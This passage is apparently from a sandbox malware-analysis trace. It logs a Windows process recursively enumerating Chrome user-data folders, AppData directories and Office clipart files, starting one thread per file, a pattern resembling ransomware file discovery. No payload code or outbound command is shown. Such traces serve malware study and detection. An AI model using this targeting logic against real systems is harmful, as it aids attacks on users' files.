dwReserved1=0x0, cFileName="SwReporter", cAlternateFileName="SWREPO~1")) returned 1 [0152.943] wcscmp (_String1="SwReporter", _String2=".") returned 1 [0152.943] wcscmp (_String1="SwReporter", _String2="..") returned 1 [0152.943] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x9347c8 [0152.943] wcscpy (in: _Dest=0x9347c8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0152.943] wcscat (in: _Dest=0x9347c8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0152.943] wcscat (in: _Dest=0x9347c8, _Source="SwReporter" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter" [0152.944] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x9347c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14b0 [0152.945] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x9bbc48 | out: lpFindFileData=0x9bbc48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 1 [0152.945] wcscmp (_String1="WidevineCdm", _String2=".") returned 1 [0152.945] wcscmp (_String1="WidevineCdm", _String2="..") returned 1 [0152.945] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x934720 [0152.945] wcscpy (in: _Dest=0x934720, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0152.945] wcscat (in: _Dest=0x934720, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0152.945] wcscat (in: _Dest=0x934720, _Source="WidevineCdm" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm" [0152.945] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x934720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14ac [0152.946] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x9bbc48 | out: lpFindFileData=0x9bbc48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 0 [0152.946] FindClose (in: hFindFile=0x9420b0 | out: hFindFile=0x9420b0) returned 1 [0152.946] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bbc48) returned 1 [0152.946] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93fe10) returned 1 [0152.946] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7958) returned 1 [0152.946] FindNextFileW (in: hFindFile=0x942570, lpFindFileData=0x9bcab8 | out: lpFindFileData=0x9bcab8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 0 [0152.946] FindClose (in: hFindFile=0x942570 | out: hFindFile=0x942570) returned 1 [0152.946] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bcab8) returned 1 [0152.947] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0580) returned 1 [0152.947] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0200) returned 1 [0152.947] FindNextFileW (in: hFindFile=0x9421f0, lpFindFileData=0x92b630 | out: lpFindFileData=0x92b630*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1 [0152.947] wcscmp (_String1="CrashReports", _String2=".") returned 1 [0152.947] wcscmp (_String1="CrashReports", _String2="..") returned 1 [0152.947] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0x8f8e68 [0152.947] wcscpy (in: _Dest=0x8f8e68, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google" [0152.947] wcscat (in: _Dest=0x8f8e68, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\" [0152.947] wcscat (in: _Dest=0x8f8e68, _Source="CrashReports" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports" [0152.947] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f8e68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1198 [0152.948] FindNextFileW (in: hFindFile=0x9421f0, lpFindFileData=0x92b630 | out: lpFindFileData=0x92b630*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 0 [0152.948] FindClose (in: hFindFile=0x9421f0 | out: hFindFile=0x9421f0) returned 1 [0152.948] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92b630) returned 1 [0152.948] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8f08) returned 1 [0152.948] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f10c8) returned 1 Thread: id = 1817 os_tid = 0xa04 [0140.432] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e8f80 [0140.432] wcscpy (in: _Dest=0x8e8f80, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History" [0140.432] wcscat (in: _Dest=0x8e8f80, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History\\" [0140.432] wcscat (in: _Dest=0x8e8f80, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History\\*" [0140.432] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92b898 [0140.432] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History\\*", lpFindFileData=0x92b898 | out: lpFindFileData=0x92b898*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0141.552] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92b898) returned 1 [0141.552] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8f80) returned 1 [0141.552] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f1448) returned 1 Thread: id = 1818 os_tid = 0xa08 [0140.433] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7a) returned 0x8f7350 [0140.433] wcscpy (in: _Dest=0x8f7350, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help" [0140.433] wcscat (in: _Dest=0x8f7350, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help\\" [0140.433] wcscat (in: _Dest=0x8f7350, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help\\*" [0140.433] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92bb00 [0140.433] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help\\*", lpFindFileData=0x92bb00 | out: lpFindFileData=0x92bb00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942030 [0142.844] wcscmp (_String1=".", _String2=".") returned 0 [0142.844] FindNextFileW (in: hFindFile=0x942030, lpFindFileData=0x92bb00 | out: lpFindFileData=0x92bb00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.844] wcscmp (_String1="..", _String2=".") returned 1 [0142.844] wcscmp (_String1="..", _String2="..") returned 0 [0142.844] FindNextFileW (in: hFindFile=0x942030, lpFindFileData=0x92bb00 | out: lpFindFileData=0x92bb00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0142.844] FindClose (in: hFindFile=0x942030 | out: hFindFile=0x942030) returned 1 [0142.845] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92bb00) returned 1 [0142.845] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f7350) returned 1 [0142.845] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8cff00) returned 1 Thread: id = 1819 os_tid = 0xa0c [0140.433] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x8d0100 [0140.433] wcscpy (in: _Dest=0x8d0100, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore" [0140.433] wcscat (in: _Dest=0x8d0100, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\" [0140.433] wcscat (in: _Dest=0x8d0100, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*" [0140.433] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92bd68 [0140.433] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*", lpFindFileData=0x92bd68 | out: lpFindFileData=0x92bd68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da090 [0140.434] wcscmp (_String1=".", _String2=".") returned 0 [0140.434] FindNextFileW (in: hFindFile=0x8da090, lpFindFileData=0x92bd68 | out: lpFindFileData=0x92bd68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.435] wcscmp (_String1="..", _String2=".") returned 1 [0140.435] wcscmp (_String1="..", _String2="..") returned 0 [0140.435] FindNextFileW (in: hFindFile=0x8da090, lpFindFileData=0x92bd68 | out: lpFindFileData=0x92bd68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0140.435] FindClose (in: hFindFile=0x8da090 | out: hFindFile=0x8da090) returned 1 [0140.435] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92bd68) returned 1 [0140.435] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0100) returned 1 [0140.435] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8cff80) returned 1 Thread: id = 1827 os_tid = 0xa2c [0140.621] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e6998 [0140.621] wcscpy (in: _Dest=0x8e6998, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0140.621] wcscat (in: _Dest=0x8e6998, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0140.621] wcscat (in: _Dest=0x8e6998, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*" [0140.621] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92a7c0 [0140.621] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*", lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da390 [0141.089] wcscmp (_String1=".", _String2=".") returned 0 [0141.089] FindNextFileW (in: hFindFile=0x8da390, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.089] wcscmp (_String1="..", _String2=".") returned 1 [0141.089] wcscmp (_String1="..", _String2="..") returned 0 [0141.089] FindNextFileW (in: hFindFile=0x8da390, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f046d00, ftCreationTime.dwHighDateTime=0x1bd9a89, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f046d00, ftLastWriteTime.dwHighDateTime=0x1bd9a89, nFileSizeHigh=0x0, nFileSizeLow=0xf77, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143743.GIF", cAlternateFileName="")) returned 1 [0141.089] wcscmp (_String1="J0143743.GIF", _String2=".") returned 1 [0141.089] wcscmp (_String1="J0143743.GIF", _String2="..") returned 1 [0141.090] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x934a68 [0141.090] wcscpy (in: _Dest=0x934a68, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0141.090] wcscat (in: _Dest=0x934a68, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0141.090] wcscat (in: _Dest=0x934a68, _Source="J0143743.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF" [0142.213] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x934a68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x850 [0142.213] FindNextFileW (in: hFindFile=0x8da390, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4ed3400, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4ed3400, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143744.GIF", cAlternateFileName="")) returned 1 [0142.214] wcscmp (_String1="J0143744.GIF", _String2=".") returned 1 [0142.214] wcscmp (_String1="J0143744.GIF", _String2="..") returned 1 [0142.214] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x934f00 [0142.214] wcscpy (in: _Dest=0x934f00, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0142.214] wcscat (in: _Dest=0x934f00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0142.214] wcscat (in: _Dest=0x934f00, _Source="J0143744.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF" [0142.214] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x934f00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x854 [0142.215] FindNextFileW (in: hFindFile=0x8da390, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac144200, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac144200, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x2dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143745.GIF", cAlternateFileName="")) returned 1 [0142.215] wcscmp (_String1="J0143745.GIF", _String2=".") returned 1 [0142.215] wcscmp (_String1="J0143745.GIF", _String2="..") returned 1 [0142.215] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x934fa8 [0142.215] wcscpy (in: _Dest=0x934fa8, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0142.215] wcscat (in: _Dest=0x934fa8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0142.215] wcscat (in: _Dest=0x934fa8, _Source="J0143745.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF" [0142.215] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x934fa8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x858 [0142.217] FindNextFileW (in: hFindFile=0x8da390, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77a08600, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77a08600, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x595, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143746.GIF", cAlternateFileName="")) returned 1 [0142.217] wcscmp (_String1="J0143746.GIF", _String2=".") returned 1 [0142.217] wcscmp (_String1="J0143746.GIF", _String2="..") returned 1 [0142.217] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x935050 [0142.217] wcscpy (in: _Dest=0x935050, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0142.217] wcscat (in: _Dest=0x935050, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0142.217] wcscat (in: _Dest=0x935050, _Source="J0143746.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF" [0142.217] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x935050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x85c [0142.218] FindNextFileW (in: hFindFile=0x8da390, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4cbfb00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4cbfb00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x11d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143748.GIF", cAlternateFileName="")) returned 1 [0142.218] wcscmp (_String1="J0143748.GIF", _String2=".") returned 1 [0142.218] wcscmp (_String1="J0143748.GIF", _String2="..") returned 1 [0142.218] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x9350f8 [0142.218] wcscpy (in: _Dest=0x9350f8, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft 